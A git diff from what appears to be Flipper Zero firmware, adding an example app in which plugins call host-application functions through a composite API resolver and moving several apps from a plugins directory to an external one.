+#pragma once + +/* + * This file contains an API that is internally implemented by the application + * It is also exposed to plugins to allow them to use the application's API. + */ +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void app_api_accumulator_set(uint32_t value); + +uint32_t app_api_accumulator_get(); + +void app_api_accumulator_add(uint32_t value); + +void app_api_accumulator_sub(uint32_t value); + +void app_api_accumulator_mul(uint32_t value); + +#ifdef __cplusplus +} +#endif diff --git a/applications/examples/example_plugins_advanced/app_api_interface.h b/applications/examples/example_plugins_advanced/app_api_interface.h new file mode 100644 index 000000000..d0db44c4a --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api_interface.h @@ -0,0 +1,9 @@ +#pragma once + +#include + +/* + * Resolver interface with private application's symbols. + * Implementation is contained in app_api_table.c + */ +extern const ElfApiInterface* const application_api_interface; \ No newline at end of file diff --git a/applications/examples/example_plugins_advanced/app_api_table.cpp b/applications/examples/example_plugins_advanced/app_api_table.cpp new file mode 100644 index 000000000..aacfb8c18 --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api_table.cpp @@ -0,0 +1,27 @@ +#include +#include + +/* + * This file contains an implementation of a symbol table + * with private app's symbols. It is used by composite API resolver + * to load plugins that use internal application's APIs. + */ +#include "app_api_table_i.h" + +static_assert(!has_hash_collisions(app_api_table), "Detected API method hash collision!"); + +constexpr HashtableApiInterface applicaton_hashtable_api_interface{ + { + .api_version_major = 0, + .api_version_minor = 0, + /* generic resolver using pre-sorted array */ + .resolver_callback = &elf_resolve_from_hashtable, + }, + /* pointers to application's API table boundaries */ + .table_cbegin = app_api_table.cbegin(), + .table_cend = app_api_table.cend(), +}; + +/* Casting to generic resolver to use in Composite API resolver */ +extern "C" const ElfApiInterface* const application_api_interface = + &applicaton_hashtable_api_interface; diff --git a/applications/examples/example_plugins_advanced/app_api_table_i.h b/applications/examples/example_plugins_advanced/app_api_table_i.h new file mode 100644 index 000000000..17cc8be5f --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api_table_i.h @@ -0,0 +1,13 @@ +#include "app_api.h" + +/* + * A list of app's private functions and objects to expose for plugins. + * It is used to generate a table of symbols for import resolver to use. + * TBD: automatically generate this table from app's header files + */ +static constexpr auto app_api_table = sort(create_array_t( + API_METHOD(app_api_accumulator_set, void, (uint32_t)), + API_METHOD(app_api_accumulator_get, uint32_t, ()), + API_METHOD(app_api_accumulator_add, void, (uint32_t)), + API_METHOD(app_api_accumulator_sub, void, (uint32_t)), + API_METHOD(app_api_accumulator_mul, void, (uint32_t)))); \ No newline at end of file diff --git a/applications/examples/example_plugins_advanced/application.fam b/applications/examples/example_plugins_advanced/application.fam new file mode 100644 index 000000000..d40c0dde2 --- /dev/null +++ b/applications/examples/example_plugins_advanced/application.fam @@ -0,0 +1,24 @@ +App( + appid="example_advanced_plugins", + name="Example: advanced plugins", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_advanced_plugins_app", + stack_size=2 * 1024, + fap_category="Examples", +) + +App( + appid="advanced_plugin1", + apptype=FlipperAppType.PLUGIN, + entry_point="advanced_plugin1_ep", + requires=["example_advanced_plugins"], + sources=["plugin1.c"], +) + +App( + appid="advanced_plugin2", + apptype=FlipperAppType.PLUGIN, + entry_point="advanced_plugin2_ep", + requires=["example_advanced_plugins"], + sources=["plugin2.c"], +) diff --git a/applications/examples/example_plugins_advanced/example_advanced_plugins.c b/applications/examples/example_plugins_advanced/example_advanced_plugins.c new file mode 100644 index 000000000..f27b0a084 --- /dev/null +++ b/applications/examples/example_plugins_advanced/example_advanced_plugins.c @@ -0,0 +1,48 @@ +#include "app_api.h" +#include "plugin_interface.h" +#include "app_api_interface.h" + +#include +#include +#include + +#include + +#define TAG "example_advanced_plugins" + +int32_t example_advanced_plugins_app(void* p) { + UNUSED(p); + + FURI_LOG_I(TAG, "Starting"); + + CompositeApiResolver* resolver = composite_api_resolver_alloc(); + composite_api_resolver_add(resolver, firmware_api_interface); + composite_api_resolver_add(resolver, application_api_interface); + + PluginManager* manager = plugin_manager_alloc( + PLUGIN_APP_ID, PLUGIN_API_VERSION, composite_api_resolver_get(resolver)); + + do { + if(plugin_manager_load_all(manager, APP_DATA_PATH("plugins")) != PluginManagerErrorNone) { + FURI_LOG_E(TAG, "Failed to load all libs"); + break; + } + + uint32_t plugin_count = plugin_manager_get_count(manager); + FURI_LOG_I(TAG, "Loaded libs: %lu", plugin_count); + + for(uint32_t i = 0; i < plugin_count; i++) { + const AdvancedPlugin* plugin = plugin_manager_get_ep(manager, i); + FURI_LOG_I(TAG, "plugin name: %s. Calling methods", plugin->name); + plugin->method1(228); + plugin->method2(); + FURI_LOG_I(TAG, "Accumulator: %lu", app_api_accumulator_get()); + } + } while(0); + + plugin_manager_free(manager); + composite_api_resolver_free(resolver); + FURI_LOG_I(TAG, "Goodbye!"); + + return 0; +} diff --git a/applications/examples/example_plugins_advanced/plugin1.c b/applications/examples/example_plugins_advanced/plugin1.c new file mode 100644 index 000000000..bf0ab50b4 --- /dev/null +++ b/applications/examples/example_plugins_advanced/plugin1.c @@ -0,0 +1,40 @@ +/* + * This plugin uses both firmware's API interface and private application headers. + * It can be loaded by a plugin manager that uses CompoundApiInterface, + * which combines both interfaces. + */ + +#include "app_api.h" +#include "plugin_interface.h" + +#include +#include + +static void advanced_plugin1_method1(int arg1) { + /* This function is implemented inside host application */ + app_api_accumulator_add(arg1); +} + +static void advanced_plugin1_method2() { + /* Accumulator value is stored inside host application */ + FURI_LOG_I("TEST", "Plugin 1, accumulator: %lu", app_api_accumulator_get()); +} + +/* Actual implementation of app<>plugin interface */ +static const AdvancedPlugin advanced_plugin1 = { + .name = "Advanced Plugin 1", + .method1 = &advanced_plugin1_method1, + .method2 = &advanced_plugin1_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor advanced_plugin1_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &advanced_plugin1, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* advanced_plugin1_ep() { + return &advanced_plugin1_descriptor; +} diff --git a/applications/examples/example_plugins_advanced/plugin2.c b/applications/examples/example_plugins_advanced/plugin2.c new file mode 100644 index 000000000..f0b2f726d --- /dev/null +++ b/applications/examples/example_plugins_advanced/plugin2.c @@ -0,0 +1,40 @@ +/* + * This plugin uses both firmware's API interface and private application headers. + * It can be loaded by a plugin manager that uses CompoundApiInterface, + * which combines both interfaces. + */ + +#include "app_api.h" +#include "plugin_interface.h" + +#include +#include + +static void advanced_plugin2_method1(int arg1) { + /* This function is implemented inside host application */ + app_api_accumulator_mul(arg1); +} + +static void advanced_plugin2_method2() { + /* Accumulator value is stored inside host application */ + FURI_LOG_I("TEST", "Plugin 2, accumulator: %lu", app_api_accumulator_get()); +} + +/* Actual implementation of app<>plugin interface */ +static const AdvancedPlugin advanced_plugin2 = { + .name = "Advanced Plugin 2", + .method1 = &advanced_plugin2_method1, + .method2 = &advanced_plugin2_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor advanced_plugin2_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &advanced_plugin2, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* advanced_plugin2_ep() { + return &advanced_plugin2_descriptor; +} diff --git a/applications/examples/example_plugins_advanced/plugin_interface.h b/applications/examples/example_plugins_advanced/plugin_interface.h new file mode 100644 index 000000000..e8b5a22d6 --- /dev/null +++ b/applications/examples/example_plugins_advanced/plugin_interface.h @@ -0,0 +1,12 @@ +#pragma once + +/* Common interface between a plugin and host applicaion */ + +#define PLUGIN_APP_ID "example_plugins_advanced" +#define PLUGIN_API_VERSION 1 + +typedef struct { + const char* name; + void (*method1)(int); + void (*method2)(); +} AdvancedPlugin; diff --git a/applications/external/application.fam b/applications/external/application.fam new file mode 100644 index 000000000..12dc1cc1a --- /dev/null +++ b/applications/external/application.fam @@ -0,0 +1,6 @@ +# Placeholder +App( + appid="external_apps", + name="External apps bundle", + apptype=FlipperAppType.METAPACKAGE, +) diff --git a/applications/plugins/clock/application.fam b/applications/external/clock/application.fam similarity index 82% rename from applications/plugins/clock/application.fam rename to applications/external/clock/application.fam index 590f5dfe0..a6a2eff3e 100644 --- a/applications/plugins/clock/application.fam +++ b/applications/external/clock/application.fam @@ -1,7 +1,7 @@ App( appid="clock", name="Clock", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="clock_app", requires=["gui"], stack_size=2 * 1024, diff --git a/applications/plugins/clock/clock.png b/applications/external/clock/clock.png similarity index 100% rename from applications/plugins/clock/clock.png rename to applications/external/clock/clock.png diff --git a/applications/plugins/clock/clock_app.c b/applications/external/clock/clock_app.c similarity index 100% rename from applications/plugins/clock/clock_app.c rename to applications/external/clock/clock_app.c diff --git a/applications/plugins/dap_link/README.md b/applications/external/dap_link/README.md similarity index 100% rename from applications/plugins/dap_link/README.md rename to applications/external/dap_link/README.md diff --git a/applications/plugins/dap_link/application.fam b/applications/external/dap_link/application.fam similarity index 92% rename from applications/plugins/dap_link/application.fam rename to applications/external/dap_link/application.fam index 711e4833d..017143803 100644 --- a/applications/plugins/dap_link/application.fam +++ b/applications/external/dap_link/application.fam @@ -1,7 +1,7 @@ App( appid="dap_link", name="DAP Link", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="dap_link_app", requires=[ "gui", diff --git a/applications/plugins/dap_link/dap_config.h b/applications/external/dap_link/dap_config.h similarity index 100% rename from applications/plugins/dap_link/dap_config.h rename to applications/external/dap_link/dap_config.h diff --git a/applications/plugins/dap_link/dap_link.c b/applications/external/dap_link/dap_link.c similarity index 100% rename from applications/plugins/dap_link/dap_link.c rename to applications/external/dap_link/dap_link.c diff --git a/applications/plugins/dap_link/dap_link.h b/applications/external/dap_link/dap_link.h similarity index 100% rename from applications/plugins/dap_link/dap_link.h rename to applications/external/dap_link/dap_link.h diff --git a/applications/plugins/dap_link/dap_link.png b/applications/external/dap_link/dap_link.png similarity index 100% rename from applications/plugins/dap_link/dap_link.png rename to applications/external/dap_link/dap_link.png diff --git a/applications/plugins/dap_link/gui/dap_gui.c b/applications/external/dap_link/gui/dap_gui.c similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui.c rename to applications/external/dap_link/gui/dap_gui.c diff --git a/applications/plugins/dap_link/gui/dap_gui.h b/applications/external/dap_link/gui/dap_gui.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui.h rename to applications/external/dap_link/gui/dap_gui.h diff --git a/applications/plugins/dap_link/gui/dap_gui_custom_event.h b/applications/external/dap_link/gui/dap_gui_custom_event.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui_custom_event.h rename to applications/external/dap_link/gui/dap_gui_custom_event.h diff --git a/applications/plugins/dap_link/gui/dap_gui_i.h b/applications/external/dap_link/gui/dap_gui_i.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui_i.h rename to applications/external/dap_link/gui/dap_gui_i.h diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene.c b/applications/external/dap_link/gui/scenes/config/dap_scene.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene.c rename to applications/external/dap_link/gui/scenes/config/dap_scene.c diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene.h b/applications/external/dap_link/gui/scenes/config/dap_scene.h similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene.h rename to applications/external/dap_link/gui/scenes/config/dap_scene.h diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene_config.h b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene_config.h rename to applications/external/dap_link/gui/scenes/config/dap_scene_config.h diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_about.c b/applications/external/dap_link/gui/scenes/dap_scene_about.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_about.c rename to applications/external/dap_link/gui/scenes/dap_scene_about.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_config.c b/applications/external/dap_link/gui/scenes/dap_scene_config.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_config.c rename to applications/external/dap_link/gui/scenes/dap_scene_config.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_help.c b/applications/external/dap_link/gui/scenes/dap_scene_help.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_help.c rename to applications/external/dap_link/gui/scenes/dap_scene_help.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_main.c b/applications/external/dap_link/gui/scenes/dap_scene_main.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_main.c rename to applications/external/dap_link/gui/scenes/dap_scene_main.c diff --git a/applications/plugins/dap_link/gui/views/dap_main_view.c b/applications/external/dap_link/gui/views/dap_main_view.c similarity index 100% rename from applications/plugins/dap_link/gui/views/dap_main_view.c rename to applications/external/dap_link/gui/views/dap_main_view.c diff --git a/applications/plugins/dap_link/gui/views/dap_main_view.h b/applications/external/dap_link/gui/views/dap_main_view.h similarity index 100% rename from applications/plugins/dap_link/gui/views/dap_main_view.h rename to applications/external/dap_link/gui/views/dap_main_view.h diff --git a/applications/plugins/dap_link/icons/ActiveConnection_50x64.png b/applications/external/dap_link/icons/ActiveConnection_50x64.png similarity index 100% rename from applications/plugins/dap_link/icons/ActiveConnection_50x64.png rename to applications/external/dap_link/icons/ActiveConnection_50x64.png diff --git a/applications/plugins/dap_link/icons/ArrowDownEmpty_12x18.png b/applications/external/dap_link/icons/ArrowDownEmpty_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowDownEmpty_12x18.png rename to applications/external/dap_link/icons/ArrowDownEmpty_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowDownFilled_12x18.png b/applications/external/dap_link/icons/ArrowDownFilled_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowDownFilled_12x18.png rename to applications/external/dap_link/icons/ArrowDownFilled_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowUpEmpty_12x18.png b/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowUpEmpty_12x18.png rename to applications/external/dap_link/icons/ArrowUpEmpty_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowUpFilled_12x18.png b/applications/external/dap_link/icons/ArrowUpFilled_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowUpFilled_12x18.png rename to applications/external/dap_link/icons/ArrowUpFilled_12x18.png diff --git a/applications/plugins/dap_link/lib/free-dap b/applications/external/dap_link/lib/free-dap similarity index 100% rename from applications/plugins/dap_link/lib/free-dap rename to applications/external/dap_link/lib/free-dap diff --git a/applications/plugins/dap_link/usb/dap_v2_usb.c b/applications/external/dap_link/usb/dap_v2_usb.c similarity index 100% rename from applications/plugins/dap_link/usb/dap_v2_usb.c rename to applications/external/dap_link/usb/dap_v2_usb.c diff --git a/applications/plugins/dap_link/usb/dap_v2_usb.h b/applications/external/dap_link/usb/dap_v2_usb.h similarity index 100% rename from applications/plugins/dap_link/usb/dap_v2_usb.h rename to applications/external/dap_link/usb/dap_v2_usb.h diff --git a/applications/plugins/dap_link/usb/usb_winusb.h b/applications/external/dap_link/usb/usb_winusb.h similarity index 100% rename from applications/plugins/dap_link/usb/usb_winusb.h rename to applications/external/dap_link/usb/usb_winusb.h diff --git a/applications/plugins/hid_app/application.fam b/applications/external/hid_app/application.fam similarity index 86% rename from applications/plugins/hid_app/application.fam rename to applications/external/hid_app/application.fam index b6e4e3bf8..a9d8305dd 100644 --- a/applications/plugins/hid_app/application.fam +++ b/applications/external/hid_app/application.fam @@ -1,7 +1,7 @@ App( appid="hid_usb", name="Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_usb_app", stack_size=1 * 1024, fap_category="USB", @@ -14,7 +14,7 @@ App( App( appid="hid_ble", name="Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_ble_app", stack_size=1 * 1024, fap_category="Bluetooth", diff --git a/applications/plugins/hid_app/assets/Arr_dwn_7x9.png b/applications/external/hid_app/assets/Arr_dwn_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Arr_dwn_7x9.png rename to applications/external/hid_app/assets/Arr_dwn_7x9.png diff --git a/applications/plugins/hid_app/assets/Arr_up_7x9.png b/applications/external/hid_app/assets/Arr_up_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Arr_up_7x9.png rename to applications/external/hid_app/assets/Arr_up_7x9.png diff --git a/applications/plugins/hid_app/assets/Ble_connected_15x15.png b/applications/external/hid_app/assets/Ble_connected_15x15.png similarity index 100% rename from applications/plugins/hid_app/assets/Ble_connected_15x15.png rename to applications/external/hid_app/assets/Ble_connected_15x15.png diff --git a/applications/plugins/hid_app/assets/Ble_disconnected_15x15.png b/applications/external/hid_app/assets/Ble_disconnected_15x15.png similarity index 100% rename from applications/plugins/hid_app/assets/Ble_disconnected_15x15.png rename to applications/external/hid_app/assets/Ble_disconnected_15x15.png diff --git a/applications/plugins/hid_app/assets/ButtonDown_7x4.png b/applications/external/hid_app/assets/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonDown_7x4.png rename to applications/external/hid_app/assets/ButtonDown_7x4.png diff --git a/applications/plugins/hid_app/assets/ButtonF10_5x8.png b/applications/external/hid_app/assets/ButtonF10_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF10_5x8.png rename to applications/external/hid_app/assets/ButtonF10_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF11_5x8.png b/applications/external/hid_app/assets/ButtonF11_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF11_5x8.png rename to applications/external/hid_app/assets/ButtonF11_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF12_5x8.png b/applications/external/hid_app/assets/ButtonF12_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF12_5x8.png rename to applications/external/hid_app/assets/ButtonF12_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF1_5x8.png b/applications/external/hid_app/assets/ButtonF1_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF1_5x8.png rename to applications/external/hid_app/assets/ButtonF1_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF2_5x8.png b/applications/external/hid_app/assets/ButtonF2_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF2_5x8.png rename to applications/external/hid_app/assets/ButtonF2_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF3_5x8.png b/applications/external/hid_app/assets/ButtonF3_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF3_5x8.png rename to applications/external/hid_app/assets/ButtonF3_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF4_5x8.png b/applications/external/hid_app/assets/ButtonF4_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF4_5x8.png rename to applications/external/hid_app/assets/ButtonF4_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF5_5x8.png b/applications/external/hid_app/assets/ButtonF5_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF5_5x8.png rename to applications/external/hid_app/assets/ButtonF5_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF6_5x8.png b/applications/external/hid_app/assets/ButtonF6_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF6_5x8.png rename to applications/external/hid_app/assets/ButtonF6_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF7_5x8.png b/applications/external/hid_app/assets/ButtonF7_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF7_5x8.png rename to applications/external/hid_app/assets/ButtonF7_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF8_5x8.png b/applications/external/hid_app/assets/ButtonF8_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF8_5x8.png rename to applications/external/hid_app/assets/ButtonF8_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF9_5x8.png b/applications/external/hid_app/assets/ButtonF9_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF9_5x8.png rename to applications/external/hid_app/assets/ButtonF9_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonLeft_4x7.png b/applications/external/hid_app/assets/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonLeft_4x7.png rename to applications/external/hid_app/assets/ButtonLeft_4x7.png diff --git a/applications/plugins/hid_app/assets/ButtonRight_4x7.png b/applications/external/hid_app/assets/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonRight_4x7.png rename to applications/external/hid_app/assets/ButtonRight_4x7.png diff --git a/applications/plugins/hid_app/assets/ButtonUp_7x4.png b/applications/external/hid_app/assets/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonUp_7x4.png rename to applications/external/hid_app/assets/ButtonUp_7x4.png diff --git a/applications/plugins/hid_app/assets/Button_18x18.png b/applications/external/hid_app/assets/Button_18x18.png similarity index 100% rename from applications/plugins/hid_app/assets/Button_18x18.png rename to applications/external/hid_app/assets/Button_18x18.png diff --git a/applications/plugins/hid_app/assets/Circles_47x47.png b/applications/external/hid_app/assets/Circles_47x47.png similarity index 100% rename from applications/plugins/hid_app/assets/Circles_47x47.png rename to applications/external/hid_app/assets/Circles_47x47.png diff --git a/applications/plugins/hid_app/assets/Left_mouse_icon_9x9.png b/applications/external/hid_app/assets/Left_mouse_icon_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Left_mouse_icon_9x9.png rename to applications/external/hid_app/assets/Left_mouse_icon_9x9.png diff --git a/applications/plugins/hid_app/assets/Like_def_11x9.png b/applications/external/hid_app/assets/Like_def_11x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Like_def_11x9.png rename to applications/external/hid_app/assets/Like_def_11x9.png diff --git a/applications/plugins/hid_app/assets/Like_pressed_17x17.png b/applications/external/hid_app/assets/Like_pressed_17x17.png similarity index 100% rename from applications/plugins/hid_app/assets/Like_pressed_17x17.png rename to applications/external/hid_app/assets/Like_pressed_17x17.png diff --git a/applications/plugins/hid_app/assets/Ok_btn_9x9.png b/applications/external/hid_app/assets/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Ok_btn_9x9.png rename to applications/external/hid_app/assets/Ok_btn_9x9.png diff --git a/applications/plugins/hid_app/assets/Ok_btn_pressed_13x13.png b/applications/external/hid_app/assets/Ok_btn_pressed_13x13.png similarity index 100% rename from applications/plugins/hid_app/assets/Ok_btn_pressed_13x13.png rename to applications/external/hid_app/assets/Ok_btn_pressed_13x13.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_down_7x9.png b/applications/external/hid_app/assets/Pin_arrow_down_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_down_7x9.png rename to applications/external/hid_app/assets/Pin_arrow_down_7x9.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_left_9x7.png b/applications/external/hid_app/assets/Pin_arrow_left_9x7.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_left_9x7.png rename to applications/external/hid_app/assets/Pin_arrow_left_9x7.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_right_9x7.png b/applications/external/hid_app/assets/Pin_arrow_right_9x7.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_right_9x7.png rename to applications/external/hid_app/assets/Pin_arrow_right_9x7.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_up_7x9.png b/applications/external/hid_app/assets/Pin_arrow_up_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_up_7x9.png rename to applications/external/hid_app/assets/Pin_arrow_up_7x9.png diff --git a/applications/plugins/hid_app/assets/Pin_back_arrow_10x8.png b/applications/external/hid_app/assets/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_back_arrow_10x8.png rename to applications/external/hid_app/assets/Pin_back_arrow_10x8.png diff --git a/applications/plugins/hid_app/assets/Pressed_Button_13x13.png b/applications/external/hid_app/assets/Pressed_Button_13x13.png similarity index 100% rename from applications/plugins/hid_app/assets/Pressed_Button_13x13.png rename to applications/external/hid_app/assets/Pressed_Button_13x13.png diff --git a/applications/plugins/hid_app/assets/Right_mouse_icon_9x9.png b/applications/external/hid_app/assets/Right_mouse_icon_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Right_mouse_icon_9x9.png rename to applications/external/hid_app/assets/Right_mouse_icon_9x9.png diff --git a/applications/plugins/hid_app/assets/Space_65x18.png b/applications/external/hid_app/assets/Space_65x18.png similarity index 100% rename from applications/plugins/hid_app/assets/Space_65x18.png rename to applications/external/hid_app/assets/Space_65x18.png diff --git a/applications/plugins/hid_app/assets/Voldwn_6x6.png b/applications/external/hid_app/assets/Voldwn_6x6.png similarity index 100% rename from applications/plugins/hid_app/assets/Voldwn_6x6.png rename to applications/external/hid_app/assets/Voldwn_6x6.png diff --git a/applications/plugins/hid_app/assets/Volup_8x6.png b/applications/external/hid_app/assets/Volup_8x6.png similarity index 100% rename from applications/plugins/hid_app/assets/Volup_8x6.png rename to applications/external/hid_app/assets/Volup_8x6.png diff --git a/applications/plugins/hid_app/hid.c b/applications/external/hid_app/hid.c similarity index 100% rename from applications/plugins/hid_app/hid.c rename to applications/external/hid_app/hid.c diff --git a/applications/plugins/hid_app/hid.h b/applications/external/hid_app/hid.h similarity index 100% rename from applications/plugins/hid_app/hid.h rename to applications/external/hid_app/hid.h diff --git a/applications/plugins/hid_app/hid_ble_10px.png b/applications/external/hid_app/hid_ble_10px.png similarity index 100% rename from applications/plugins/hid_app/hid_ble_10px.png rename to applications/external/hid_app/hid_ble_10px.png diff --git a/applications/plugins/hid_app/hid_usb_10px.png b/applications/external/hid_app/hid_usb_10px.png similarity index 100% rename from applications/plugins/hid_app/hid_usb_10px.png rename to applications/external/hid_app/hid_usb_10px.png diff --git a/applications/plugins/hid_app/views.h b/applications/external/hid_app/views.h similarity index 100% rename from applications/plugins/hid_app/views.h rename to applications/external/hid_app/views.h diff --git a/applications/plugins/hid_app/views/hid_keyboard.c b/applications/external/hid_app/views/hid_keyboard.c similarity index 100% rename from applications/plugins/hid_app/views/hid_keyboard.c rename to applications/external/hid_app/views/hid_keyboard.c diff --git a/applications/plugins/hid_app/views/hid_keyboard.h b/applications/external/hid_app/views/hid_keyboard.h similarity index 100% rename from applications/plugins/hid_app/views/hid_keyboard.h rename to applications/external/hid_app/views/hid_keyboard.h diff --git a/applications/plugins/hid_app/views/hid_keynote.c b/applications/external/hid_app/views/hid_keynote.c similarity index 100% rename from applications/plugins/hid_app/views/hid_keynote.c rename to applications/external/hid_app/views/hid_keynote.c diff --git a/applications/plugins/hid_app/views/hid_keynote.h b/applications/external/hid_app/views/hid_keynote.h similarity index 100% rename from applications/plugins/hid_app/views/hid_keynote.h rename to applications/external/hid_app/views/hid_keynote.h diff --git a/applications/plugins/hid_app/views/hid_media.c b/applications/external/hid_app/views/hid_media.c similarity index 100% rename from applications/plugins/hid_app/views/hid_media.c rename to applications/external/hid_app/views/hid_media.c diff --git a/applications/plugins/hid_app/views/hid_media.h b/applications/external/hid_app/views/hid_media.h similarity index 100% rename from applications/plugins/hid_app/views/hid_media.h rename to applications/external/hid_app/views/hid_media.h diff --git a/applications/plugins/hid_app/views/hid_mouse.c b/applications/external/hid_app/views/hid_mouse.c similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse.c rename to applications/external/hid_app/views/hid_mouse.c diff --git a/applications/plugins/hid_app/views/hid_mouse.h b/applications/external/hid_app/views/hid_mouse.h similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse.h rename to applications/external/hid_app/views/hid_mouse.h diff --git a/applications/plugins/hid_app/views/hid_mouse_jiggler.c b/applications/external/hid_app/views/hid_mouse_jiggler.c similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse_jiggler.c rename to applications/external/hid_app/views/hid_mouse_jiggler.c diff --git a/applications/plugins/hid_app/views/hid_mouse_jiggler.h b/applications/external/hid_app/views/hid_mouse_jiggler.h similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse_jiggler.h rename to applications/external/hid_app/views/hid_mouse_jiggler.h diff --git a/applications/plugins/hid_app/views/hid_tiktok.c b/applications/external/hid_app/views/hid_tiktok.c similarity index 100% rename from applications/plugins/hid_app/views/hid_tiktok.c rename to applications/external/hid_app/views/hid_tiktok.c diff --git a/applications/plugins/hid_app/views/hid_tiktok.h b/applications/external/hid_app/views/hid_tiktok.h similarity index 100% rename from applications/plugins/hid_app/views/hid_tiktok.h rename to applications/external/hid_app/views/hid_tiktok.h diff --git a/applications/plugins/music_player/application.fam b/applications/external/music_player/application.fam similarity index 87% rename from applications/plugins/music_player/application.fam rename to applications/external/music_player/application.fam index c51abf194..3414c0a48 100644 --- a/applications/plugins/music_player/application.fam +++ b/applications/external/music_player/application.fam @@ -1,9 +1,8 @@ App( appid="music_player", name="Music Player", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="music_player_app", - cdefines=["APP_MUSIC_PLAYER"], requires=[ "gui", "dialogs", diff --git a/applications/plugins/music_player/icons/music_10px.png b/applications/external/music_player/icons/music_10px.png similarity index 100% rename from applications/plugins/music_player/icons/music_10px.png rename 